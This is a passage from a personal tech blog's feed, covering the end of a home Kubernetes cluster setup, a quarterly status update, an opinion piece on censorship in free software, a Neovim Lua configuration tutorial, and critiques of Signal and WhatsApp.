cloud provider&rsquo;s proprietary APIs to provision a load balancer. <a href="https://metallb.universe.tf/" rel="nofollow">MetalLB</a> solves this by well, providing an LB implementation that works on bare metal.</p> <p>In essence, it makes one of your nodes attract all the traffic, assigning each <code>LoadBalancer</code> service an IP from a configured address pool (not your node IP). In my case:</p> <p><img src="https://cdn.icyphox.sh/zuy96.png" alt="jade loadbalancer" /></p> <p>However, this assumes that our load balancer node has a public IP. Well it does, but we&rsquo;re still within our Wireguard network. To actually expose the load balancer, I&rsquo;m running Nginx. This configuration allows for non-terminating SSL passthrough back to our actual ingress (up next), and forwarding any other arbitrary port.</p> <pre><code class="language-nginx">stream { upstream ingress443 { server 192.168.4.150:443; } upstream ingress80 { server 192.168.4.150:80; } server { listen 443; proxy_pass ingress443; proxy_next_upstream on; } server { listen 80; proxy_pass ingress80; proxy_next_upstream on; } } </code></pre> <p>DNS can now be configured to point to this node&rsquo;s actual public IP, and Nginx will forward traffic back to our load balancer.</p> <h3 id="nginx-ingress-controller">Nginx Ingress Controller</h3> <p>Once MeltalLB is setup, <code>ingress-nginx</code> can be deployed. Nothing of note here; follow their <a href="https://kubernetes.github.io/ingress-nginx/deploy/" rel="nofollow">docs</a>. Each ingress you define will be exposed on the same <code>LoadBalancer</code> IP.</p> <h3 id="longhorn">Longhorn</h3> <p>Storage on bare metal is always a pain in the wrong place. Longhorn is pretty refreshing, as it literally just works. Point it to your block volumes, setup a <code>StorageClass</code>, and just like that&mdash;automagic PV/C provisioning. Adding block volumes can be done via the UI, accessed by portforwarding the service:</p> <pre><code>kubectl portforward service/longhorn-frontend -n longhorn-system 8080:80 </code></pre> <p>There&rsquo;s just one catch&mdash;at least, in my case. They don&rsquo;t have armhf images, so all their resources need:</p> <pre><code class="language-yaml">nodeSelector: kubernetes.io/arch=amd64 </code></pre> <p>Consequently, all pods using a PVC can only run on non-armhf nodes. This is a bummer, but I plan to switch the RPi over to a 64-bit OS eventually. This cluster only just got stable-ish&mdash;I&rsquo;m not about to yank the control plane now.</p> <h3 id="cert-manager">cert-manager</h3> <p>Automatic certificate provisioning. Nothing fancy here. Follow their <a href="https://cert-manager.io/docs/installation/kubernetes/" rel="nofollow">docs</a>.</p> <h2 id="application-workloads">application workloads</h2> <p>We did <em>all</em> of that, for these special snowflakes. I&rsquo;m currently running:</p> <ul> <li><a href="https://radicale.org" rel="nofollow">radicale</a>: CalDAV/CarDAV server</li> <li><a href="https://github.com/distribution/distribution" rel="nofollow">registry</a>: Container registry</li> <li><a href="https://github.com/nkanaev/yarr" rel="nofollow">yarr</a>: RSS reader</li> <li><a href="https://github.com/icyphox/fsrv" rel="nofollow">fsrv</a>: File host service</li> <li><a href="https://znc.in" rel="nofollow">znc</a>: IRC bouncer</li> </ul> <p>I&rsquo;m in the process of moving <a href="https://pleroma.social" rel="nofollow">Pleroma</a> and <a href="https://github.com/epoupon/lms/" rel="nofollow">lms</a> to the cluster. I&rsquo;m still figuring out cgit.</p> <h2 id="closing-notes">closing notes</h2> <p>That was a lot! While it&rsquo;s fun, it certainly feels like a house of cards, especially given that I&rsquo;m running this on very low resource machines. There&rsquo;s about 500 MB of RAM free on the Oracle boxes, and about 2.5 GB on the Pi.</p> <p>All things said, it&rsquo;s not terribly hard to run a multi-arch cluster, especially if you&rsquo;re running arm64 + amd64. Most common tools have multi-arch images now. It&rsquo;s just somewhat annoying in my case&mdash;pods using using a PVC can&rsquo;t run on my Pi.</p> <p>Note that I glossed over a bunch of issues that I faced: broken cluster DNS, broken pod networking, figuring out how to expose the load balancer, etc. Countless hours (after the 4 days off) had to be spent solving these. If I had a penny for every time I ran <code>kubeadm reset</code>, I&rsquo;d be Elon Musk.</p> <p>Whether this cluster is sustainable or not, is to be seen. However, it is quite nice to have your entire infrastructure configured in a single place: <a href="https://github.com/icyphox/infra" rel="nofollow">https://github.com/icyphox/infra</a></p> <pre><code>~/code/infra ▲ k get nodes NAME STATUS ROLES AGE VERSION fern Ready control-plane,master 7d11h v1.21.1 jade Ready &lt;none&gt; 7d11h v1.21.1 leaf Ready &lt;none&gt; 7d11h v1.21.1 </code></pre> <div class="footnotes"> <hr /> <ol> <li id="fn:1">No, this is not an advertisement. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">I hate systemd with such passion. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><a href="https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2" rel="nofollow">https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Status update + 2021-05-10T00:00:00Z + tag:icyphox.sh/,2021-05-10:blog/2021-05-10 + + <h2>A review of Q1 2021</h2> <p>I realize I haven&rsquo;t done one of these in a while, a few &hellip; status-update-worthy things have piled up. Bangalore is currently in a lockdown after ranking in the top 3 worst COVID-hit cities, in India. As such, I&rsquo;m sitting at home, in my home-office thing which now has an extra monitor, writing this. We&rsquo;ve got a lot to talk about&mdash;let&rsquo;s get to it!</p> <h2 id="working-at-deepsource">working at DeepSource</h2> <p>Starting January of this year, I&rsquo;ve been working as a Site Reliability Engineer at <a href="https://deepsource.io" rel="nofollow">DeepSource</a>. As a Kubernetes shop, nearly all of my day to day work involves working with Kubernetes. I didn&rsquo;t think I&rsquo;d say this, but I actually quite like using K8s now. The more I understand it, the more I find myself appreciating the need for it. Of course, I wasn&rsquo;t around for the initial setup of everything&mdash;I&rsquo;m merely enjoying using an already stable cluster environment.</p> <p>So far, I&rsquo;ve set up an event-driven observability pipeline (pictured below), some infosec work and the usual SRE stuff. I&rsquo;ll probably write about the observability infrastructure in detail sometime&mdash;perhaps on the company blog.</p> <p><img src="https://cdn.icyphox.sh/vgPL9.png" alt="deepsource observability infra" /></p> <p>I even managed to break prod within the first month! But in all seriousness, it&rsquo;s pretty riveting work, with some very fun people.</p> <h2 id="projects">projects</h2> <p>There haven&rsquo;t been too many, I must be honest. I did briefly consider the idea of building a small SaaS&mdash;a simple email-based bookmarking service. Send a bunch of links you want to bookmark to an email address, and get back the entire webpage as a thread of emails.</p> <p>I got as far as writing the backend for it, at <a href="https://git.icyphox.sh/forlater/donkey" rel="nofollow">forlater/donkey</a>&mdash;a simple Flask app that pulls web pages and sends an email, on a webhook. And a helper tool <a href="https://git.icyphox.sh/forlater/mdawh" rel="nofollow">forlater/mdawh</a> in Go that takes mail in STDIN and sends a webhook to an endpoint. I used OpenSMTPD to call <code>mdawh</code> when mail arrived. Overall, a pretty simple system. Except, HTML email sucks. And the modern web sucks. I quickly got bored of it&mdash;dealing with websites not getting rendered correctly, email delivery being pretty shit overall and the fact that nobody would actually use something like this, let alone pay for it. Of course, I could be wrong and someone looking for a service like this could be out there&mdash;and if they&rsquo;re reading this, please <a href="mailto:x@icyphox.sh" rel="nofollow">email me</a>!</p> <p>That said, I&rsquo;m open to revisiting this project sometime. Perhaps with a different use-case, even.</p> <h2 id="reading">reading</h2> <p>In 2020, I began getting into the <a href="https://coppermind.net/wiki/Cosmere" rel="nofollow">Cosmere</a>. I&rsquo;ve read nearly all the books in it, save for the <em>Mistborn</em> series, which I&rsquo;m reading at present. Still in Era 1, having finished <em>The Final Empire</em> and <em>The Well of Ascension</em>. I&rsquo;m taking a break before I dive into <em>The Hero of Ages</em>.</p> <p>Aside from high fantasy reading, I&rsquo;ve begun spending some time reading the essays at <a href="https://slatestarcodex.com" rel="nofollow">Slate Star Codex</a>&mdash;more specifically, the selected few at <a href="https://www.slatestarcodexabridged.com" rel="nofollow">https://www.slatestarcodexabridged.com</a>.</p> <h2 id="learning-russian">learning Russian</h2> <p>I&rsquo;d begun learning Russian sometime last year, but stopped studying it for about 6 months or so. Recently, I decided to pick it up again after coming across this video by Johnny Harris on <a href="https://www.youtube.com/watch?v=3i1lNJPY-4Q" rel="nofollow">how he learnt Italian</a>. In essence, he talks about why the textbook method of learning a language, i.e., the grammar: conjugations, rules, exceptions, etc. is ineffective. Instead, he suggests starting with learning the 1000 most frequently used words in that language which helps build an intuition for the language.</p> <p>I&rsquo;ve found two decks from the <a href="https://ankiweb.net/shared/decks/" rel="nofollow">publicly shared decks</a> to be really good: <a href="https://ankiweb.net/shared/info/1545956138" rel="nofollow">1000 frequently used words</a>, <a href="https://ankiweb.net/shared/info/549290451" rel="nofollow">7000 sentences in order of difficulty</a>. This lets me 1) learn the basics (vocabulary, sentence construction) and start applying them in making my own sentences and learning the grammar intuitively, instead of memorizing rules and conjugations.</p> <h2 id="fitness">fitness</h2> <p>For a good portion of last year, I was unable to get any physical exercise done&mdash;gyms were closed, running downstairs just wasn&rsquo;t fun. Early this year, before wave 2 of the virus, the gyms here opened for a brief bit and I managed to get some swole on. They&rsquo;re closed again, now but I&rsquo;ve taken to running about 3 - 4 km everyday. It&rsquo;s still quite boring compared to lifting, but it needs to be done.</p> <h2 id="that-s-it">that&rsquo;s it</h2> <p>I&rsquo;ve hit a writer&rsquo;s block, so to speak, with this blog. I have a few ideas for future posts, but they require actual research (read: I can&rsquo;t just pull up Vim and type away), so they will remain as ideas for now. If you have some ideas for things I can write about, please shoot them my way.</p> + + + Free software should not censor + 2021-04-07T00:00:00Z + tag:icyphox.sh/,2021-04-07:blog/free-sw-censor + + <h2>If you write free software, don't deny freedom zero</h2> <p>Any software is free, if it grants the users the four essential freedoms:</p> <ul> <li><strong>freedom 0</strong>: The freedom to run the program as you wish, for any purpose.</li> <li><strong>freedom 1</strong>: The freedom to study how the program works, and change it so it does your computing as you wish</li> <li><strong>freedom 2</strong>: The freedom to redistribute copies so you can help others.</li> <li><strong>freedom 3</strong>: The freedom to distribute copies of your modified versions to others.</li> </ul> <p>Denying any one of these freedoms makes your software nonfree. As it happens, some free software project maintainers think it&rsquo;s OK to impose their political / ideological stances on who can use their software, and for what purpose it can be used. They are violating the zeroth freedom to advance their political agendas. Here are a couple of examples.</p> <h2 id="case-one-tusky">case one: Tusky</h2> <p>Tusky is a free software (GPL 3.0) Android client for the fediverse&mdash;thematically, Mastodon. They <a href="https://github.com/tuskyapp/Tusky/pull/1303" rel="nofollow">Rick Roll users who try to connect to instances</a> they disagree with. You don&rsquo;t get to decide for your users! And the irony here is its a client for a supposedly censorship-resistant network. This is in violation of freedom zero.</p> <p>Funnily enough, Tusky recently got <a href="https://chaos.social/@ConnyDuck/105904002285019275" rel="nofollow">removed from the Play Store</a> for serving &ldquo;objectionable content&rdquo;.</p> <blockquote> <p>They don&rsquo;t seem to understand that one can view any content with Tusky and that it is not possible for the app developers to check any of it. -- <a href="https://chaos.social/@ConnyDuck/105904015276457450" rel="nofollow">https://chaos.social/@ConnyDuck/105904015276457450</a></p> </blockquote> <p>A blatant lie! Doesn&rsquo;t feel good when someone else decides things for you, now, does it?</p> <h2 id="case-two-lemmy">case two: Lemmy</h2> <p>Also a fediverse application&mdash;a federated Reddit clone (AGPL 3.0). They have a <a href="https://github.com/LemmyNet/lemmy/issues/622" rel="nofollow">hardcoded slur filter</a> that they refuse to remove, or at the very least, make configurable. This is just plain bad engineering for the sake of politics.</p> <p>Both of these software are released under free software licenses, and are clearly nonfree. Stop doing this&mdash;it benefits nobody. You probably feel like you&rsquo;re &ldquo;making a change&rdquo;, but guess what: you&rsquo;re not. It is mere virtue signalling. Don&rsquo;t enforce your political agendas on your users.</p> <p>Censorship is bad for everyone, and it usually never ends well. There is no &ldquo;correct&rdquo; way to censor&mdash;so don&rsquo;t even try! If you don&rsquo;t want your software to be &ldquo;misused&rdquo;, release it under a license that is capable of enforcing that.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <div class="footnotes"> <hr /> <ol> <li id="fn:1">Protip: you can&rsquo;t. Ethical source licenses exist, but they&rsquo;re practically dead in the water. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Configuring Neovim using Lua + 2021-02-07T00:00:00Z + tag:icyphox.sh/,2021-02-07:blog/nvim-lua + + <h2>And switching from init.vim to init.lua</h2> <p>If you, like me, never really understood Vimscript and hate the language with a passion, you&rsquo;re in the right place! You can now get rid of Vimscript wholesale and replace it with a simpler, faster and elegant-er language&mdash;Lua! <em>However</em>, this is only possible from Neovim 0.5 onwards<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> and as of now, requires you to install Neovim from HEAD. How to do that is left as an exercise to the reader. Also bear in mind that the Lua API is fairly beta right now, and many Vim things don&rsquo;t have direct interfaces.</p> <p>So assuming you&rsquo;re now running Neovim <code>master</code>, head over to <code>~/.config/nvim</code> and create your <code>init.lua</code>. Why, yes, we&rsquo;re porting over your <code>init.vim</code> to <code>init.lua</code> right now! Clear your calendar for the next few hours&mdash;bikeshedding your text editor is top priority!</p> <p>I also recommend going through <a href="https://github.com/nanotee/nvim-lua-guide" rel="nofollow">nanotee/nvim-lua-guide</a> and <a href="https://learnxinyminutes.com/docs/lua/" rel="nofollow">Learn Lua in Y minutes</a> before starting off.</p> <h2 id="the-directory-structure">the directory structure</h2> <p>Lua files are typically under <code>~/.config/nvim/lua</code>, and can be loaded as Lua modules. This is incredibly powerful&mdash;you can structure your configs however you like.</p> <pre><code class="language-console">$ tree .config/nvim . |-- ftplugin | `-- ... |-- init.lua |-- lua | |-- maps.lua | |-- settings.lua | |-- statusline.lua | `-- utils.lua `-- plugin `-- ... </code></pre> <p>The common approach is to have different bits of your config in Lua files under <code>lua/</code> and <code>require</code>&rsquo;d in your <code>init.lua</code>, so something like:</p> <pre><code class="language-lua">-- init.lua require('settings') -- lua/settings.lua require('maps') -- lua/maps.lua require('statusline') -- lua/statusline.lua </code></pre> <h2 id="the-basics-setting-options">the basics: setting options</h2> <p>Vim has 3 kinds of options&mdash;global, buffer-local and window-local. In Vimscript, you&rsquo;d just <code>set</code> these. In Lua, however, you will have to use one of</p> <ul> <li><code>vim.api.nvim_set_option()</code>&mdash;global options</li> <li><code>vim.api.nvim_buf_set_option()</code>&mdash;buffer-local options</li> <li><code>vim.api.nvim_win_set_option()</code>&mdash;window-local options</li> </ul> <p>These are fairly verbose and very clunky, but fortunately for us, we have &ldquo;meta-accesors&rdquo; for these: <code>vim.{o,wo,bo}</code>. Here&rsquo;s an excerpt from my <code>settings.lua</code> as an example:</p> <pre><code class="language-lua">local o = vim.o local wo = vim.wo local bo = vim.bo -- global options o.swapfile = true o.dir = '/tmp' o.smartcase = true o.laststatus = 2 o.hlsearch = true o.incsearch = true o.ignorecase = true o.scrolloff = 12 -- ... snip ... -- window-local options wo.number = false wo.wrap = false -- buffer-local options bo.expandtab = true </code></pre> <p>If you&rsquo;re not sure if an option is global, buffer or window-local, consult the Vim help! For example, <code>:h 'number'</code>:</p> <pre><code>'number' 'nu' boolean (default off) local to window </code></pre> <p>Also note that you don&rsquo;t set the negation of an option to true, like <code>wo.nonumber = true</code>, you instead set <code>wo.number = false</code>.</p> <h2 id="defining-autocommands">defining autocommands</h2> <p>Unfortunately, autocommands in Vim don&rsquo;t have a Lua interface&mdash;it is being worked on.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> Until then, you will have to use <code>vim.api.nvim_command()</code>, or the shorter <code>vim.cmd()</code>. I&rsquo;ve defined a simple function that takes a Lua table of <code>autocmd</code>s as an argument, and creates an <code>augroup</code> for you.</p> <pre><code class="language-lua">-- utils.lua local M = {} local cmd = vim.cmd function M.create_augroup(autocmds, name) cmd('augroup ' .. name) cmd('autocmd!') for _, autocmd in ipairs(autocmds) do cmd('autocmd ' .. table.concat(autocmd, ' ')) end cmd('augroup END') end return M -- settings.lua local cmd = vim.cmd local u = require('utils') u.create_augroup({ { 'BufRead,BufNewFile', '/tmp/nail-*', 'setlocal', 'ft=mail' }, { 'BufRead,BufNewFile', '*s-nail-*', 'setlocal', 'ft=mail' }, }, 'ftmail') cmd('au BufNewFile,BufRead * if &amp;ft == &quot;&quot; | set ft=text | endif') </code></pre> <h2 id="defining-keymaps">defining keymaps</h2> <p>Keymaps can be set via <code>vim.api.nvim_set_keymap()</code>. It takes 4 arguments: the mode for which the mapping will take effect, the key sequence, the command to execute and a table of options (<code>:h :map-arguments</code>).</p> <pre><code class="language-lua">-- maps.lua local map = vim.api.nvim_set_keymap -- map the leader key map('n', '&lt;Space&gt;', '', {}) vim.g.mapleader = ' ' -- 'vim.g' sets global variables options = { noremap = true } map('n', '&lt;leader&gt;&lt;esc&gt;', ':nohlsearch&lt;cr&gt;', options) map('n', '&lt;leader&gt;n', ':bnext&lt;cr&gt;', options) map('n', '&lt;leader&gt;p', ':bprev&lt;cr&gt;', options) </code></pre> <p>For user defined commands, you&rsquo;re going to have to go the <code>vim.cmd</code> route:</p> <pre><code class="language-lua">local cmd = vim.cmd cmd(':command! WQ wq') cmd(':command! WQ wq') cmd(':command! Wq wq') cmd(':command! Wqa wqa') cmd(':command! W w') cmd(':command! Q q') </code></pre> <h2 id="managing-packages">managing packages</h2> <p>Naturally, you can&rsquo;t use your favourite Vimscript package manager anymore, or at least, not without <code>vim.api.nvim_exec</code>ing a bunch of Vimscript (ew!). Thankfully, there are a few pure-Lua plugin managers available to use<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>&mdash;I personally use, and recommend <a href="https://github.com/savq/paq-nvim/" rel="nofollow">paq</a>. It&rsquo;s light and makes use of the <a href="https://docs.libuv.org/en/v1.x/" rel="nofollow"><code>vim.loop</code></a> API for async I/O. paq&rsquo;s docs are plentiful, so I&rsquo;ll skip talking about how to set it up.</p> <h2 id="bonus-writing-your-own-statusline">bonus: writing your own statusline</h2> <p>Imagine using a bloated, third-party statusline, when you can just write your own.<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> It&rsquo;s actually quite simple! Start by defining a table for every mode:</p> <pre><code class="language-lua">-- statusline.lua local mode_map = { ['n'] = 'normal ', ['no'] = 'n·operator pending ', ['v'] = 'visual ', ['V'] = 'v·line ', ['�'] = 'v·block ', ['s'] = 'select ', ['S'] = 's·line ', ['�'] = 's·block ', ['i'] = 'insert ', ['R'] = 'replace ', ['Rv'] = 'v·replace ', ['c'] = 'command ', ['cv'] = 'vim ex ', ['ce'] = 'ex ', ['r'] = 'prompt ', ['rm'] = 'more ', ['r?'] = 'confirm ', ['!'] = 'shell ', ['t'] = 'terminal ' } </code></pre> <p>The idea is to get the current mode from <code>vim.api.nvim_get_mode()</code> and map it to our desired text. Let&rsquo;s wrap that around in a small <code>mode()</code> function:</p> <pre><code class="language-lua">-- statusline.lua local function mode() local m = vim.api.nvim_get_mode().mode if mode_map[m] == nil then return m end return mode_map[m] end </code></pre> <p>Now, set up your highlights. Again, there isn&rsquo;t any interface for highlights yet, so whip out that <code>vim.api.nvim_exec()</code>.</p> <pre><code class="language-lua">-- statusline.lua vim.api.nvim_exec( [[ hi PrimaryBlock ctermfg=06 ctermbg=00 hi SecondaryBlock ctermfg=08 ctermbg=00 hi Blanks ctermfg=07 ctermbg=00 ]], false) </code></pre> <p>Create a new table to represent the entire statusline itself. You can add any other functions you want (like one that returns the current git branch, for instance). Read <code>:h 'statusline'</code> if you don&rsquo;t understand what&rsquo;s going on here.</p> <pre><code class="language-lua">-- statusline.lua local stl = { '%#PrimaryBlock#', mode(), '%#SecondaryBlock#', '%#Blanks#', '%f', '%m', '%=', '%#SecondaryBlock#', '%l,%c ', '%#PrimaryBlock#', '%{&amp;filetype}', } </code></pre> <p>Finally, with the power of <code>table.concat()</code>, set your statusline. This is akin to doing a series of string concatenations, but way faster.</p> <pre><code class="language-lua">-- statusline.lua vim.o.statusline = table.concat(stl) </code></pre> <p><img src="https://cdn.icyphox.sh/statusline.png" alt="statusline" /></p> <h2 id="this-is-what-being-tpope-feels-like">this is what being tpope feels like</h2> <p>You can now write that plugin you always wished for! I sat down to write a plugin for <a href="https://github.com/jhawthorn/fzy" rel="nofollow">fzy</a><sup class="footnote-ref" id="fnref:5"><a href="#fn:5">5</a></sup>, which you can find <a href="https://git.icyphox.sh/dotfiles/tree/config/nvim/lua/fzy" rel="nofollow">here</a> along with my entire Neovim config<sup class="footnote-ref" id="fnref:6"><a href="#fn:6">6</a></sup>. I plan to port a the last of my <code>plugin/</code> directory over to Lua, soon™.</p> <p>And it&rsquo;s only going to get better when the Lua API is completed. We can all be Vim plugin artists now.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://github.com/neovim/neovim/pull/12235" rel="nofollow">https://github.com/neovim/neovim/pull/12235</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><a href="https://github.com/neovim/neovim/pull/12378" rel="nofollow">https://github.com/neovim/neovim/pull/12378</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3">Also see: <a href="https://github.com/wbthomason/packer.nvim/" rel="nofollow">packer.nvim</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:4">This meme was made by NIH gang. <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:5">A less bloated alternative to fzf, written in C. <a class="footnote-return" href="#fnref:5"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:6"><p><a href="https://github.com/icyphox/dotfiles/tree/master/config/nvim" rel="nofollow">GitHub link</a>&mdash; if you&rsquo;re into that sort of thing.</p> <a class="footnote-return" href="#fnref:6"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + We can do better than Signal + 2021-01-17T00:00:00Z + tag:icyphox.sh/,2021-01-17:blog/signal + + <h2>Centralized silos are never the solution</h2> <p>Signal is possibly the most recommended pro-privacy instant communication app&mdash;one that was commonplace in the hacker community, and has now gained a lot of mainstream traction, thanks to WhatsApp deciding to screw its userbase over. It certainly presents a more compelling alternative than others in the same space, like WhatsApp itself, Telegram, etc. They engineered the <a href="https://en.wikipedia.org/wiki/Signal_Protocol" rel="nofollow">Signal Protocol</a>, which has found its way into other messaging systems, and has been the base for the likes of OMEMO and Matrix.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> While I admire the tech behind Signal, I still believe we can do better, and we ought to.</p> <p>I have a few gripes with Signal&mdash;the biggest of them all is it&rsquo;s centralized, and in the US no less. This alone makes it not that different from WhatsApp&mdash;we&rsquo;re simply moving from one silo to another. What&rsquo;s to say that Signal will uphold its values, continue operating <em>and</em> evade censorship and potential compromise? To top it off, they&rsquo;re becoming a fairly high value target off late. And if that isn&rsquo;t convincing enough, Signal&rsquo;s massive outage lasting nearly a day<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> should be enough evidence against centralization. Further, Signal is known to use AWS<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup> as their cloud provider&mdash;what if another Parler<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> happens and the rug is pulled from under Signal&rsquo;s feet?</p> <p>A common defense in favor of Signal is, &ldquo;But it&rsquo;s all open source!&rdquo;. Sure is, but on what basis do I trust them? I don&rsquo;t mean to sound conspiratorial, but what&rsquo;s to say that the server in production hasn&rsquo;t been backdoored? In fact, the <a href="https://github.com/signalapp/Signal-Server" rel="nofollow">Signal server code</a> hasn&rsquo;t even been updated since April 2020. You&rsquo;re telling me it&rsquo;s undergone <em>no</em> changes?</p> <p>Another response I usually see is &ldquo;But Signal is all we have!&rdquo;. While that is somewhat true&mdash;at least by the metric of &ldquo;secure messengers your granny can use&rdquo;, there are some promising alternatives who are especially focused on decentralizing E2EE communications.</p> <ol> <li><a href="https://matrix.org" rel="nofollow">Matrix</a>: Matrix has improved a whole lot, and I like that they&rsquo;re working to disprove that end-to-end encryption cannot be decentralized<sup class="footnote-ref" id="fnref:5"><a href="#fn:5">5</a></sup>.</li> <li><a href="https://getsession.org" rel="nofollow">Session</a>: While it involves some cryptoshit, and hasn&rsquo;t been verified yet, it&rsquo;s an interesting alternative to keep an eye out for.</li> </ol> <p>All things said, Signal is the shiniest turd we have&mdash;it fits most threat models, and does the job alright; I will continue to use it. However, here&rsquo;s something to think about: while privacy preserving tech is commendable, does it have to come at the cost of user freedoms? Hint: it doesn&rsquo;t, and it shouldn&rsquo;t.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm" rel="nofollow">https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2"><a href="https://twitter.com/signalapp/status/1350595202872823809" rel="nofollow">https://twitter.com/signalapp/status/1350595202872823809</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><a href="https://signal.org/blog/looking-back-on-the-front/" rel="nofollow">https://signal.org/blog/looking-back-on-the-front/</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:4"><a href="https://en.wikipedia.org/wiki/Parler#Shutdown_by_service_providers" rel="nofollow">https://en.wikipedia.org/wiki/Parler#Shutdown_by_service_providers</a> <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:5"><a href="https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom" rel="nofollow">https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom</a> <a class="footnote-return" href="#fnref:5"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + What's next after WhatsApp? + 2021-01-08T00:00:00Z + tag:icyphox.sh/,2021-01-08:blog/whatsapp + + <h2>Let's not act surprised here, this was bound to happen</h2> <p><strong>Update 2021&ndash;01&ndash;17</strong>: I&rsquo;m now using Signal. It&rsquo;s fine for now, but <a href="/blog/signal">we can do better</a>.</p> <p>Ever since Facebook acquired WhatsApp for $19bn, it was blatantly obvious that they wanted in on the massive userbase, and consequently, the data they could collect. The acquisition wasn&rsquo;t all too bad at first, I&rsquo;ll admit&mdash;they added in full E2EE via the Signal Protocol, their privacy policy wasn&rsquo;t <em>all too bad</em>, at least for a Facebook product. While I obviously didn&rsquo;t enjoy using it&mdash;being the only non-free app on my phone&mdash;I could still put up with it, considering how ubiquitous it is here in India.</p> <p>That will no longer be the case, however. With the new <a href="https://www.whatsapp.com/legal/privacy-policy" rel="nofollow">privacy policy</a> introduced by WhatsApp, the below data will be collected and shared with Facebook and its associated companies (quoting from the privacy policy):</p> <blockquote> <ul> <li>Account Information. Your phone number, profile name and photo, online status and status message, last seen status, and receipts may be available to anyone who uses our Services, although you can configure your Services settings to manage certain information available to other users.</li> <li>Your Contacts and Others. Users with whom you communicate may store or reshare your information (including your phone number or messages) with others on and off our Services. You can use your Services settings and the block feature in our Services to manage the users of our Services with whom you communicate and certain information you share.</li> </ul> </blockquote> <p>And if you don&rsquo;t consent to these&mdash;i.e., you don&rsquo;t click on &ldquo;Agree&rdquo; on the pop-up about the new terms, you can no longer use WhatsApp. Naturally, I didn&rsquo;t.</p> <p>Now, it&rsquo;s fairly common knowledge that the entirety of India revolves around WhatsApp. <em>Everything</em> happens over WhatsApp. Invoices, shopping, general logistics and operations, and in my case&mdash;university communications. I&rsquo;d even declare WhatsApp as &ldquo;critical infrastructure&rdquo;, like power and water; without which the country cannot function. That&rsquo;s a scary thought in itself&mdash;imagine an entire nation relying on Facebook for something so pivotal.</p> <p>So what are my options? I can either switch to a new messaging app, or ditch instant messaging altogether. Let&rsquo;s explore these.</p> <p>There are some neat potential alternatives to WhatsApp, the most popular one being Signal. While I think Signal is technically sound, I&rsquo;m skeptical about using it primarily due to its centralized nature, hosted in the US. Moxie is openly against federation/decentralization.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <p>And then there&rsquo;s <a href="https://getsession.org" rel="nofollow">Session</a>, a fork of Signal that aims to be completely decentralized. It uses <a href="https://en.wikipedia.org/wiki/Onion_routing" rel="nofollow">onion routing</a>, similar to Tor. It <em>does</em> involve some blockshit, but the actual messaging is all done over onion routing (they call it &ldquo;onion requests&rdquo;). From about 5 minutes of usage, I can tell that the app&rsquo;s UI is very nicely done. It does suffer from severe UX issues though&mdash;you can&rsquo;t add someone from your address book, rather, you have to paste their Session ID (a long alphanumeric) to initiate a conversation. In its current state, Session is more &ldquo;tech for tech people&rdquo; than &ldquo;tech for the average user&rdquo;.</p> <p>And then there&rsquo;s the issue of actually getting people to use an alternate messaging app. I know that 99% percent of the people I talk to on WhatsApp don&rsquo;t care about the new privacy policy. I also know that they&rsquo;re <em>not</em> going to switch for just one guy (me). Further, the network effects are enormous. Assuming they did switch, they&rsquo;d then have to convince all <em>their</em> contacts to do so as well&mdash;which isn&rsquo;t happening.</p> <p>Which brings me to the second option: ditching IM completely. This option is starting to sound a lot better than having to talk to people about why Facebook is bad, and why privacy matters and why they should quit WhatsApp&mdash;for what will be the hundredth time. I don&rsquo;t see any immediate downsides to it. Sure, I&rsquo;ll miss out on some socializing but who am I kidding, it&rsquo;s all mostly smalltalk anyway.</p> <p>Perhaps that&rsquo;s what I&rsquo;ll end up doing&mdash;use WhatsApp until it works, and uninstall it after. Matters of immediate attention can be conveyed over a phone call. Otherwise, an SMS/email should do.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://signal.org/blog/the-ecosystem-is-moving/" rel="nofollow">https://signal.org/blog/the-ecosystem-is-moving/</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + 2020 in review + 2020-12-24T00:00:00Z + tag:icyphox.sh/,2020-12-24:blog/2020-in-review + + <h2>Oh boy, here we go</h2> <p>It&rsquo;s been a little over 9 months since the day I left my university dorms (got kicked out, rather), 